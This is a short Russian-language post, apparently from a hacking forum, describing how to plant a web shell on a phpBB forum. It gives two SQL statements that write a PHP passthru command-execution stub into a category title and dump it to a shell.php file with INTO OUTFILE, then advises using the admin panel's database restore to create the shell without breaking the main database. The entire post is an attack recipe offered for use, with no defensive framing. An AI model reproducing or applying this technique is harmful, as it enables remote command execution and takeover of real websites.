сливать базу не обязательно можно и подругому - так создать файл с содержанием:

UPDATE phpbb_categories SET cat_title='<? passthru("$cmd"); ?>'WHERE cat_id=1;
SELECT cat_title INTO OUTFILE '/home/bla_bla_bla/shell.php' FROM phpbb_categories where cat_id=1;

потом просто выбираешь в админке восстановить базу и указываешь путь к этому файу. это создаст шел не испортив основную базу.